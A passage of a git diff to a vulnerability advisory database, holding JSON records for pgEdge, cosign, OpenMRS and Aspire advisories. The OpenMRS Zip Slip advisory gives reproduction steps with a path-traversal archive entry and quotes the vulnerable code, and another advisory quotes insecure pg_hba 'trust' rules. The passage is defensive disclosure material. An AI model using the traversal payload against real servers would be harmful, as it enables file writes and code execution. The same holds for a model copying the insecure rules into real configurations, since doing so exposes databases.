never cut, and some\nearlier material named it in error. `0.2.0` is the first fixed release.\n\n**Upgrading does not undo a disclosure that already happened. Rotate any\nLLM provider credential configured on an affected version** where the\nproxy was reachable without an `Authorize` hook, particularly if a\nprovider was rejecting that key at the time.\n\n### Workarounds\n\nSet an `Authorize` hook on the proxy, which closes the unauthenticated\nroute to the health endpoint. Restricting network access to the listening\nport limits who can reach it. Neither removes the underlying disclosure\nfor a caller who does reach the endpoint.","affected":[{"package":{"name":"github.com/pgEdge/pgedge-go-llm-lib","ecosystem":"Go","purl":"pkg:golang/github.com/pgEdge/pgedge-go-llm-lib"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.1.2-0.20260729024727-7531a55d368b"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8835-xmqj-354h/GHSA-8835-xmqj-354h.json"}}],"references":[{"type":"WEB","url":"https://github.com/pgEdge/pgedge-go-llm-lib/security/advisories/GHSA-8835-xmqj-354h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125328"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-go-llm-lib/pull/26"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-go-llm-lib/commit/7531a55d368b3a29cd173c792cc4609c4134b076"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-go-llm-lib/commit/8bb9a6380d5f8db0124b51605759897034ad4da1"},{"type":"PACKAGE","url":"https://github.com/pgEdge/pgedge-go-llm-lib"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-go-llm-lib/releases/tag/v0.2.0"}],"database_specific":{"cwe_ids":["CWE-209","CWE-522"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T19:32:36Z","nvd_published_at":"2026-11-10T19:21:10Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"}]} \ No newline at end of file diff --git a/data/Go/GHSA-vq9p-w6wv-cr25.json b/data/Go/GHSA-vq9p-w6wv-cr25.json new file mode 100644 index 0000000000..5e7c46b833 --- /dev/null +++ b/data/Go/GHSA-vq9p-w6wv-cr25.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-vq9p-w6wv-cr25","published":"2026-11-12T20:46:03Z","modified":"2026-11-12T21:00:03.623455832Z","aliases":["CVE-2026-125323"],"summary":"pgEdge Control Plane generates pg_hba.conf with trust authentication for local and loopback connections","details":"### Summary\n\nEvery `pg_hba.conf` generated by the pgEdge Control Plane begins with a hard-coded block of `trust` entries covering Unix-socket and loopback connections. Any operating-system account that can reach the Postgres socket or the loopback interface on a database host can authenticate as any Postgres role, including the superuser, without presenting a credential.\n\n### Details\n\nThe generated file opens with the following six entries:\n\n```\nlocal all all trust\nhost all all 127.0.0.1/32 trust\nhost all all ::1/128 trust\nlocal replication all trust\nhost replication all 127.0.0.1/32 trust\nhost replication all ::1/128 trust\n```\n\nPostgres evaluates `pg_hba.conf` top-down and stops at the first matching rule. Because these entries are emitted at the top of the file, they also pre-empt every rule below them — including entries supplied by an operator through the `pg_hba_conf` field of a database node specification, which are appended lower in the file and are therefore never reached for local or loopback connections.\n\nBoth supported orchestrators emit these entries, but exposure differs by deployment model:\n\n* **systemd** — the database runs on a shared multi-user host. Any local account\n on that host can connect as the Postgres superuser. This is the\n higher-severity case and the one the CVSS score below reflects.\n* **Docker Swarm** — the Unix socket and the loopback interface belong to the\n Postgres container, so reaching these entries requires code execution inside\n that container. Publishing the Postgres port to the host does not change this:\n such connections are not seen by Postgres as originating from `127.0.0.1` or\n `::1`, so they do not match the entries above. The practical exposure is\n correspondingly narrower.\n\nAn operator who verifies their own deployment can confirm the issue by inspecting the generated `pg_hba.conf` on a database node for the entries above.\n\n### Impact\n\nAn unprivileged local operating-system account on an affected database host obtains full control of every Postgres database on that host: read of all data, modification or destruction of all data, and any action available to a Postgres superuser. Under the systemd orchestrator this converts any local account into a database superuser with no additional prerequisites.\n\n### Affected versions\n\npgEdge Control Plane v0.1.0 through v0.10.1, inclusive.\n\n### Patches\n\nFixed in **v0.11.0**. Generated `pg_hba.conf` files no longer contain `trust` entries, and operator-supplied local authentication rules take effect. Upgrading to v0.11.0 or later is the recommended and, on v0.9.0 and later, the only complete remedy.\n\n### Workarounds\n\nThe available mitigation differs by version, and no mitigation is complete on current releases.\n\n**v0.1.0 – v0.8.1.** An operator could take the authentication files out of Patroni's control entirely: copy the generated `pg_hba.conf` and `pg_ident.conf`, edit the copies, and point the `hba_file` and `ident_file` settings at them through node-level `postgresql_conf`. This is effective but must be repeated per instance, including for every node added afterwards.\n\n**v0.9.0 – v0.10.1.** The above no longer applies. API validation rejects the `hba_file` and `ident_file` settings, and entries supplied through the `pg_hba_conf` specification array are appended below the hard-coded block rather than overriding it, so they do not take effect for local or loopback connections. The only partial mitigation available is to restrict the Unix socket: set `unix_socket_permissions` to `0700`, or to `0770` with the intended accounts placed in the `postgres` group. **This closes the socket path only. No supported configuration closes the loopback path on these versions.** Operators on v0.9.0 – v0.10.1 should upgrade to v0.11.0.","affected":[{"package":{"name":"github.com/pgEdge/control-plane","ecosystem":"Go","purl":"pkg:golang/github.com/pgEdge/control-plane"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.11.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.10.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vq9p-w6wv-cr25/GHSA-vq9p-w6wv-cr25.json"}}],"references":[{"type":"WEB","url":"https://github.com/pgEdge/control-plane/security/advisories/GHSA-vq9p-w6wv-cr25"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125323"},{"type":"WEB","url":"https://github.com/pgEdge/control-plane/pull/470"},{"type":"WEB","url":"https://github.com/pgEdge/control-plane/commit/88659f7388fc6c86125e60475aa83810171145b7"},{"type":"PACKAGE","url":"https://github.com/pgEdge/control-plane"},{"type":"WEB","url":"https://github.com/pgEdge/control-plane/blob/main/changes/v0.11.0.md"},{"type":"WEB","url":"https://github.com/pgEdge/control-plane/releases/tag/v0.11.0"}],"database_specific":{"cwe_ids":["CWE-1188","CWE-306"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T20:46:03Z","nvd_published_at":"2026-11-10T18:17:33Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/Go/GHSA-w437-9mwm-j6vq.json b/data/Go/GHSA-w437-9mwm-j6vq.json new file mode 100644 index 0000000000..dd8404fc9d --- /dev/null +++ b/data/Go/GHSA-w437-9mwm-j6vq.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-w437-9mwm-j6vq","published":"2026-11-12T19:42:07Z","modified":"2026-11-12T19:45:03.186145298Z","aliases":["CVE-2026-125325"],"summary":"pgEdge RAG Server shared keyword index leaked results between concurrent unauthenticated requests","details":"### Impact\n\nDocuments belonging to one caller could be returned to another. Where an application passes a customer or tenant identifier as a search filter, that scoping could be defeated by ordinary concurrent traffic. **No injection and no malformed input are required** — normal load is enough.\n\nThe BM25 keyword index was a single per-pipeline object shared by every request. A request cleared it, refilled it from its own filtered corpus and then searched it, taking a separate lock for each step rather than holding the sequence as a unit. Concurrent requests therefore interleaved, and a search could run against a corpus that a different request's filter had populated.\n\n**Who is affected:** any deployment of pgEdge RAG Server at `1.0.0` or earlier, including all alpha and beta pre-releases, that serves concurrent queries — most acutely those relying on a search filter to separate tenants or customers. The query endpoint is unauthenticated in the affected versions (`internal/server/middleware.go:37` applies logging, panic recovery and optional CORS only), so both the party whose results leak and the party receiving them are anonymous remote callers.\n\n### Patches\n\n**Fixed in `2.0.0`. Upgrade to `2.0.0` or later.**\n\nThe index is now built per request rather than shared. The regression is pinned by `TestSearch_ConcurrentRequestsDoNotShareKeywordIndex` in `internal/pipeline/orchestrator_test.go`.\n\n**Upgrading does not tell a developer whether or not their application affected, and needs action beyond upgrading.** If a consuminag application scopes results by tenant, treat responses served under concurrent load on any affected version as potentially having included another tenant's documents. **Affected responses cannot be identified from the server's own logs**, so there is no retrospective check available.\n\n### Workarounds\n\nSet `hybrid_enabled: false` on the pipeline, which skips the keyword arm and with it the shared index. Callers can also pass `disable_hybrid` per request, which can only ever turn the arm off.\n\nNeither is a substitute for upgrading.","affected":[{"package":{"name":"github.com/pgEdge/pgedge-rag-server","ecosystem":"Go","purl":"pkg:golang/github.com/pgEdge/pgedge-rag-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.1-0.20260729020411-a09d4872356b"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-w437-9mwm-j6vq/GHSA-w437-9mwm-j6vq.json"}}],"references":[{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/security/advisories/GHSA-w437-9mwm-j6vq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125325"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/pull/44"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/commit/a09d4872356b510c81f11591845445c33ff45a84"},{"type":"PACKAGE","url":"https://github.com/pgEdge/pgedge-rag-server"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/releases/tag/v2.0.0"}],"database_specific":{"cwe_ids":["CWE-362","CWE-488"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T19:42:07Z","nvd_published_at":"2026-11-10T18:17:33Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"}]} \ No newline at end of file diff --git a/data/Go/GHSA-w6c6-c85g-mmv6.json b/data/Go/GHSA-w6c6-c85g-mmv6.json index 442536b0f3..0fb41be671 100644 --- a/data/Go/GHSA-w6c6-c85g-mmv6.json +++ b/data/Go/GHSA-w6c6-c85g-mmv6.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-w6c6-c85g-mmv6","published":"2026-04-08T00:15:44Z","modified":"2026-09-10T03:51:03.642188195Z","aliases":["BIT-cosign-2026-39395","CVE-2026-39395","GO-2026-5694"],"summary":"Cosign's verify-blob-attestation reports false positive when payload parsing fails","details":"## Description\n\n`cosign verify-blob-attestation` may erroneously report a \"Verified OK\" result for attestations with malformed payloads or mismatched predicate types. For old-format bundles and detached signatures, this was due to a logic flaw in the error handling of the predicate type validation. For new-format bundles, the predicate type validation was bypassed completely.\n\n## Impact\n\nWhen `cosign verify-blob-attestation` is used without `--check-claims` set to `true`, an attestation that has a valid signature but a malformed or unparsable payload would be incorrectly validated. Additionally, systems relying on `--type ` to reject attestations with mismatched types would be lead to trust the unexpected attestation type.\n\n## Patches\n\nv3.0.6, v2.6.3\n\n## Workarounds\n\nAlways set `--check-claims=true` for attestation verification.","affected":[{"package":{"name":"github.com/sigstore/cosign","ecosystem":"Go","purl":"pkg:golang/github.com/sigstore/cosign"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.0.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w6c6-c85g-mmv6/GHSA-w6c6-c85g-mmv6.json"}},{"package":{"name":"github.com/sigstore/cosign","ecosystem":"Go","purl":"pkg:golang/github.com/sigstore/cosign"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w6c6-c85g-mmv6/GHSA-w6c6-c85g-mmv6.json"}}],"references":[{"type":"WEB","url":"https://github.com/sigstore/cosign/security/advisories/GHSA-w6c6-c85g-mmv6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39395"},{"type":"PACKAGE","url":"https://github.com/sigstore/cosign"}],"database_specific":{"cwe_ids":["CWE-754"],"github_reviewed":true,"github_reviewed_at":"2026-04-08T00:15:44Z","nvd_published_at":"2026-04-07T20:16:33Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"GHSA-w6c6-c85g-mmv6","published":"2026-04-08T00:15:44Z","modified":"2026-11-12T18:30:04.016897487Z","aliases":["BIT-cosign-2026-39395","CVE-2026-39395","GO-2026-5694"],"summary":"Cosign's verify-blob-attestation reports false positive when payload parsing fails","details":"## Description\n\n`cosign verify-blob-attestation` may erroneously report a \"Verified OK\" result for attestations with malformed payloads or mismatched predicate types. For old-format bundles and detached signatures, this was due to a logic flaw in the error handling of the predicate type validation. For new-format bundles, the predicate type validation was bypassed completely.\n\n## Impact\n\nWhen `cosign verify-blob-attestation` is used without `--check-claims` set to `true`, an attestation that has a valid signature but a malformed or unparsable payload would be incorrectly validated. Additionally, systems relying on `--type ` to reject attestations with mismatched types would be lead to trust the unexpected attestation type.\n\n## Patches\n\nv3.0.6, v2.6.3\n\n## Workarounds\n\nAlways set `--check-claims=true` for attestation verification.","affected":[{"package":{"name":"github.com/sigstore/cosign/v3","ecosystem":"Go","purl":"pkg:golang/github.com/sigstore/cosign/v3"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.0.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w6c6-c85g-mmv6/GHSA-w6c6-c85g-mmv6.json"}},{"package":{"name":"github.com/sigstore/cosign/v2","ecosystem":"Go","purl":"pkg:golang/github.com/sigstore/cosign/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w6c6-c85g-mmv6/GHSA-w6c6-c85g-mmv6.json"}},{"package":{"name":"github.com/sigstore/cosign","ecosystem":"Go","purl":"pkg:golang/github.com/sigstore/cosign"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.13.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w6c6-c85g-mmv6/GHSA-w6c6-c85g-mmv6.json"}}],"references":[{"type":"WEB","url":"https://github.com/sigstore/cosign/security/advisories/GHSA-w6c6-c85g-mmv6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39395"},{"type":"WEB","url":"https://github.com/sigstore/cosign/pull/4801"},{"type":"WEB","url":"https://github.com/sigstore/cosign/commit/f1ad3ee952313be5d74a49d67ba0aa8d0d5e351f"},{"type":"PACKAGE","url":"https://github.com/sigstore/cosign"},{"type":"WEB","url":"https://github.com/sigstore/cosign/releases/tag/v2.6.3"},{"type":"WEB","url":"https://github.com/sigstore/cosign/releases/tag/v3.0.6"}],"database_specific":{"cwe_ids":["CWE-754"],"github_reviewed":true,"github_reviewed_at":"2026-04-08T00:15:44Z","nvd_published_at":"2026-04-07T20:16:33Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"}]} \ No newline at end of file diff --git a/data/Maven/GHSA-78fc-9688-w8xw.json b/data/Maven/GHSA-78fc-9688-w8xw.json index 050d584203..9e57bc0ef0 100644 --- a/data/Maven/GHSA-78fc-9688-w8xw.json +++ b/data/Maven/GHSA-78fc-9688-w8xw.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-78fc-9688-w8xw","published":"2026-05-04T17:39:31Z","modified":"2026-05-08T19:34:46.952898Z","aliases":["CVE-2026-40076"],"summary":"OpenMRS Module Upload Vulnerable to Path Traversal (Zip Slip)","details":"## Affected Versions\n\nversion ≤ 2.7.8 (latest version at time of disclosure)\n\nhttps://github.com/openmrs/openmrs-core\n\n## Impact\n\nThe endpoint `POST /openmrs/ws/rest/v1/module` is vulnerable to a path traversal (Zip Slip) attack. An authenticated attacker can upload a crafted `.omod` archive containing ZIP entries with directory traversal sequences. Upon automatic extraction by the server, the incomplete path validation in `WebModuleUtil.startModule()` fails to prevent entries such as `web/module/../../../../malicious.jsp` from being written outside the intended module directory. If the traversal target falls within the web application root (e.g., `/usr/local/tomcat/webapps/openmrs/`), the attacker achieves arbitrary file write and subsequent Remote Code Execution.\n\nNotably, other extraction methods in the same codebase (`ModuleUtil.expandJar()`, `TestInstallUtil.addZippedTestModules()`) are properly protected with `normalize().startsWith()` checks — this vulnerability is an oversight where the same fix was not applied.\n\nFurthermore, the `module.allow_web_admin` runtime property, which is intended to restrict administrators from managing modules via the web interface, only gates the Legacy UI controller entry point. The REST API endpoint `POST /openmrs/ws/rest/v1/module` does not check this property, allowing this restriction to be fully bypassed.\n\n## Steps to Reproduce\n\n1. Construct a malicious `.omod` file (which is a ZIP/JAR archive) containing a ZIP entry with a path traversal payload in its entry name, such as `web/module/../../../../`. Upload this file to `POST /openmrs/ws/rest/v1/module` with valid admin credentials via Basic Auth.\n\n\"image\"\n\n\"image\"\n\n\n2. The server parses and loads the module. During `WebModuleUtil.startModule()`, entries under `web/module/` are automatically extracted. The existing check `Paths.get(name).startsWith(\"..\")` only blocks entries beginning with `..`, so an entry starting with `web/module/` passes the check. The `../` sequences in the remaining path cause the file to be written outside the intended `WEB-INF/view/module/` directory — for example, into the web application root at `/usr/local/tomcat/webapps/openmrs/`.\n\n\"image\"\n\n3. The traversed file is now accessible under the web application root. If the written file is a JSP script, accessing it via the browser triggers server-side execution, achieving RCE.\n\n\"image\"\n\n## Root Cause Analysis\n\nThe vulnerability exists in `WebModuleUtil.startModule()` (`web/src/main/java/org/openmrs/module/web/WebModuleUtil.java`).\n\n### Vulnerable code:\n\n```java\nEnumeration entries = jarFile.entries();\nwhile (entries.hasMoreElements()) {\n JarEntry entry = entries.nextElement();\n String name = entry.getName();\n\n // ❌ Incomplete check — only blocks entries starting with \"..\"\n if (Paths.get(name).startsWith(\"..\")) {\n throw new UnsupportedOperationException(\"...\");\n }\n\n if (name.startsWith(\"web/module/\")) {\n String filepath = name.substring(11);\n StringBuilder absPath = new StringBuilder(realPath + \"/WEB-INF\");\n absPath.append(\"/view/module/\");\n absPath.append(mod.getModuleIdAsPath()).append(\"/\").append(filepath);\n\n // ❌ No normalize() or startsWith() boundary check before writing\n File outFile = new File(absPath.toString().replace(\"/\", File.separator));\n outStream = new FileOutputStream(outFile, false);\n inStream = jarFile.getInputStream(entry);\n OpenmrsUtil.copyFile(inStream, outStream);\n }\n}\n```\n\n**Why the check fails:** For an entry named `web/module/foo/../../../../evil.jsp`, `Paths.get(name)` starts with `web`, not `..`, so the check passes. After `name.substring(11)`, the filepath `foo/../../../../evil.jsp` is concatenated directly into the output path without normalization, resulting in a write outside the intended directory.\n\n### Correctly protected code in the same codebase:\n\n**`ModuleUtil.expandJar()`:**\n\n```java\n// ✅ Correct — uses normalize().startsWith()\nif (!parent.toPath().normalize().startsWith(docBase)) {\n throw new UnsupportedOperationException(\"...\");\n}\n```\n\n**`TestInstallUtil.addZippedTestModules()`:**\n\n```java\n// ✅ Correct — uses normalize().startsWith()\nif (!zipEntryFile.toPath().normalize().startsWith(moduleRepository.toPath().normalize())) {\n throw new IOException(\"Bad zip entry\");\n}\n```\n\nThe fix pattern is already known and applied elsewhere in the codebase. `WebModuleUtil.startModule()` is an oversight.\n\n### Bypass of `module.allow_web_admin`\n\nThe `module.allow_web_admin` property only restricts module operations at the Legacy UI layer (`ModuleListController`). The REST API endpoint does not consult this property:\n\n```\nLegacy UI: POST /admin/modules/moduleList.form → allowAdmin() check → [BLOCKED]\nREST API: POST /ws/rest/v1/module → No allowAdmin() check → [ALLOWED]\n ↓\n ModuleFactory.loadModule()\n ↓\n WebModuleUtil.startModule() ← Zip Slip here, no allowAdmin check\n ↓\n FileOutputStream.write() ← Arbitrary file write\n```\n\n## Remediation\n\nAdd `normalize().startsWith()` boundary validation before writing, consistent with the existing pattern in `ModuleUtil.expandJar()`:\n\n```java\nFile outFile = new File(absPath.toString().replace(\"/\", File.separator));\n\n// ✅ Add this check\nif (!outFile.toPath().normalize().startsWith(\n Paths.get(realPath, \"WEB-INF\").normalize())) {\n throw new UnsupportedOperationException(\n \"Zip entry '\" + name + \"' would be written outside the allowed directory.\");\n}\n```\n\nAdditionally, enforce the `module.allow_web_admin` restriction consistently across all module upload entry points, including the REST API.","affected":[{"package":{"name":"org.openmrs.web:openmrs-web","ecosystem":"Maven","purl":"pkg:maven/org.openmrs.web/openmrs-web"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.7.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-78fc-9688-w8xw/GHSA-78fc-9688-w8xw.json"}},{"package":{"name":"org.openmrs.web:openmrs-web","ecosystem":"Maven","purl":"pkg:maven/org.openmrs.web/openmrs-web"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.0"},{"last_affected":"2.8.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-78fc-9688-w8xw/GHSA-78fc-9688-w8xw.json"}}],"references":[{"type":"WEB","url":"https://github.com/openmrs/openmrs-core/security/advisories/GHSA-78fc-9688-w8xw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40076"},{"type":"PACKAGE","url":"https://github.com/openmrs/openmrs-core"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-05-04T17:39:31Z","nvd_published_at":"2026-05-06T20:16:31Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"GHSA-78fc-9688-w8xw","published":"2026-05-04T17:39:31Z","modified":"2026-11-12T18:30:04.206018107Z","aliases":["CVE-2026-40076"],"summary":"OpenMRS Module Upload Vulnerable to Path Traversal (Zip Slip)","details":"## Affected Versions\n\nversion ≤ 2.7.8 (latest version at time of disclosure)\n\nhttps://github.com/openmrs/openmrs-core\n\n## Impact\n\nThe endpoint `POST /openmrs/ws/rest/v1/module` is vulnerable to a path traversal (Zip Slip) attack. An authenticated attacker can upload a crafted `.omod` archive containing ZIP entries with directory traversal sequences. Upon automatic extraction by the server, the incomplete path validation in `WebModuleUtil.startModule()` fails to prevent entries such as `web/module/../../../../malicious.jsp` from being written outside the intended module directory. If the traversal target falls within the web application root (e.g., `/usr/local/tomcat/webapps/openmrs/`), the attacker achieves arbitrary file write and subsequent Remote Code Execution.\n\nNotably, other extraction methods in the same codebase (`ModuleUtil.expandJar()`, `TestInstallUtil.addZippedTestModules()`) are properly protected with `normalize().startsWith()` checks — this vulnerability is an oversight where the same fix was not applied.\n\nFurthermore, the `module.allow_web_admin` runtime property, which is intended to restrict administrators from managing modules via the web interface, only gates the Legacy UI controller entry point. The REST API endpoint `POST /openmrs/ws/rest/v1/module` does not check this property, allowing this restriction to be fully bypassed.\n\n## Steps to Reproduce\n\n1. Construct a malicious `.omod` file (which is a ZIP/JAR archive) containing a ZIP entry with a path traversal payload in its entry name, such as `web/module/../../../../`. Upload this file to `POST /openmrs/ws/rest/v1/module` with valid admin credentials via Basic Auth.\n\n\"image\"\n\n\"image\"\n\n\n2. The server parses and loads the module. During `WebModuleUtil.startModule()`, entries under `web/module/` are automatically extracted. The existing check `Paths.get(name).startsWith(\"..\")` only blocks entries beginning with `..`, so an entry starting with `web/module/` passes the check. The `../` sequences in the remaining path cause the file to be written outside the intended `WEB-INF/view/module/` directory — for example, into the web application root at `/usr/local/tomcat/webapps/openmrs/`.\n\n\"image\"\n\n3. The traversed file is now accessible under the web application root. If the written file is a JSP script, accessing it via the browser triggers server-side execution, achieving RCE.\n\n\"image\"\n\n## Root Cause Analysis\n\nThe vulnerability exists in `WebModuleUtil.startModule()` (`web/src/main/java/org/openmrs/module/web/WebModuleUtil.java`).\n\n### Vulnerable code:\n\n```java\nEnumeration entries = jarFile.entries();\nwhile (entries.hasMoreElements()) {\n JarEntry entry = entries.nextElement();\n String name = entry.getName();\n\n // ❌ Incomplete check — only blocks entries starting with \"..\"\n if (Paths.get(name).startsWith(\"..\")) {\n throw new UnsupportedOperationException(\"...\");\n }\n\n if (name.startsWith(\"web/module/\")) {\n String filepath = name.substring(11);\n StringBuilder absPath = new StringBuilder(realPath + \"/WEB-INF\");\n absPath.append(\"/view/module/\");\n absPath.append(mod.getModuleIdAsPath()).append(\"/\").append(filepath);\n\n // ❌ No normalize() or startsWith() boundary check before writing\n File outFile = new File(absPath.toString().replace(\"/\", File.separator));\n outStream = new FileOutputStream(outFile, false);\n inStream = jarFile.getInputStream(entry);\n OpenmrsUtil.copyFile(inStream, outStream);\n }\n}\n```\n\n**Why the check fails:** For an entry named `web/module/foo/../../../../evil.jsp`, `Paths.get(name)` starts with `web`, not `..`, so the check passes. After `name.substring(11)`, the filepath `foo/../../../../evil.jsp` is concatenated directly into the output path without normalization, resulting in a write outside the intended directory.\n\n### Correctly protected code in the same codebase:\n\n**`ModuleUtil.expandJar()`:**\n\n```java\n// ✅ Correct — uses normalize().startsWith()\nif (!parent.toPath().normalize().startsWith(docBase)) {\n throw new UnsupportedOperationException(\"...\");\n}\n```\n\n**`TestInstallUtil.addZippedTestModules()`:**\n\n```java\n// ✅ Correct — uses normalize().startsWith()\nif (!zipEntryFile.toPath().normalize().startsWith(moduleRepository.toPath().normalize())) {\n throw new IOException(\"Bad zip entry\");\n}\n```\n\nThe fix pattern is already known and applied elsewhere in the codebase. `WebModuleUtil.startModule()` is an oversight.\n\n### Bypass of `module.allow_web_admin`\n\nThe `module.allow_web_admin` property only restricts module operations at the Legacy UI layer (`ModuleListController`). The REST API endpoint does not consult this property:\n\n```\nLegacy UI: POST /admin/modules/moduleList.form → allowAdmin() check → [BLOCKED]\nREST API: POST /ws/rest/v1/module → No allowAdmin() check → [ALLOWED]\n ↓\n ModuleFactory.loadModule()\n ↓\n WebModuleUtil.startModule() ← Zip Slip here, no allowAdmin check\n ↓\n FileOutputStream.write() ← Arbitrary file write\n```\n\n## Remediation\n\nAdd `normalize().startsWith()` boundary validation before writing, consistent with the existing pattern in `ModuleUtil.expandJar()`:\n\n```java\nFile outFile = new File(absPath.toString().replace(\"/\", File.separator));\n\n// ✅ Add this check\nif (!outFile.toPath().normalize().startsWith(\n Paths.get(realPath, \"WEB-INF\").normalize())) {\n throw new UnsupportedOperationException(\n \"Zip entry '\" + name + \"' would be written outside the allowed directory.\");\n}\n```\n\nAdditionally, enforce the `module.allow_web_admin` restriction consistently across all module upload entry points, including the REST API.","affected":[{"package":{"name":"org.openmrs.web:openmrs-web","ecosystem":"Maven","purl":"pkg:maven/org.openmrs.web/openmrs-web"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.7.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-78fc-9688-w8xw/GHSA-78fc-9688-w8xw.json"}},{"package":{"name":"org.openmrs.web:openmrs-web","ecosystem":"Maven","purl":"pkg:maven/org.openmrs.web/openmrs-web"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.0"},{"last_affected":"2.8.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-78fc-9688-w8xw/GHSA-78fc-9688-w8xw.json"}}],"references":[{"type":"WEB","url":"https://github.com/openmrs/openmrs-core/security/advisories/GHSA-78fc-9688-w8xw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40076"},{"type":"PACKAGE","url":"https://github.com/openmrs/openmrs-core"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-05-04T17:39:31Z","nvd_published_at":"2026-05-06T20:16:31Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]} \ No newline at end of file diff --git a/data/NuGet/GHSA-2f3w-v7f5-vpgx.json b/data/NuGet/GHSA-2f3w-v7f5-vpgx.json new file mode 100644 index 0000000000..ba4523e05b --- /dev/null +++ b/data/NuGet/GHSA-2f3w-v7f5-vpgx.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-2f3w-v7f5-vpgx","published":"2026-11-10T21:33:09Z","modified":"2026-11-12T17:28:50.500250748Z","withdrawn":"2026-11-12T17:17:35Z","summary":"Duplicate Advisory: Microsoft Security Advisory CVE-2026-118740 - Aspire Security Feature Bypass Vulnerability","details":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-4g86-54fm-h9h8. This link is maintained to preserve external references.\n\n## Original Description\nMissing authorization in Aspire allows an unauthorized attacker to bypass a security feature over a 